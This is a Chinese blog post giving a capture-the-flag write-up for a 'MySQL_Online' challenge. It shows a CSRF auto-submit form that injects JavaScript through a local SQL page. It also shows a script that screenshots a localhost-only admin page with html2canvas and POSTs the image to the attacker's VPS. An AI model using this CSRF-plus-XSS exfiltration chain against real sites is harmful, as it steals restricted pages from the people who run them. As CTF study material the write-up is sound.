MySQL_Online(xss读取目标同源网页)

写在前面

巅峰极客挑战赛中,做到柠檬师傅出的题,由于自己的js水平太渣渣,这个题做了很久,于是赶快写文记录自己的解题过程。

描述

主要是XSS,网站中允许输入一个地址,管理员会使用chrome浏览器打开该网页。并且该网站存在一个能写入js代码的页面,最后flag藏在一个页面中,该页面在服务器配置时设置只允许127.0.0.1访问,其余为403错误。

思路

通过对该网站写入js代码,让127.0.0.1访问我们写好js代码的页面,最后得到flag页面。

过程

首先,先写一个自动提交form表单的页面

<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>

当我们让管理员访问这个页面的时候,管理员就会post数据到本地的runsql.php页面,这时runsql.php页面上就会有我们的js数据

接下来构造js:

<html>
  <body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
    <script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
    <script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
        html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;

  xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST","your vsp",true);

xmlhttp.send(canvas.toDataURL());
});
    </script>
  </body>
</html>

这个页面会自动获取同源网页的页面,然后发送到vps上。最后就能得到flag了。


admin_zzzz666.php
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 关于Mongodb的全面总结 MongoDB的内部构造《MongoDB The Definitive Guide》...
    中v中阅读 32,149评论 2 89
  • helloword
    204803阅读 1,794评论 0 0
  • 有个女同学,是个朋友圈狂,一天好发好几十条朋友圈。其中发的内容最多的就是骂学校垃圾,学校停电了,“这学校真垃圾,老...
    与话春闲阅读 4,151评论 0 11
  • 七月不知不觉的过完了,虽然没有全勤,但认为我这个月也是收获满满,在下个月一定要拿一个全勤,为自己。 简书ID:1路...
    1路有李阅读 1,586评论 1 5
  • 蓝云外,月亮盘腿静坐 晚风自醉,经过转世渡人的路灯 蛙鼓轻敲,百虫齐奏 夜的海 悄无声息地收纳了蝉江潮水 霓虹饱蘸...
    思阳F阅读 3,621评论 2 18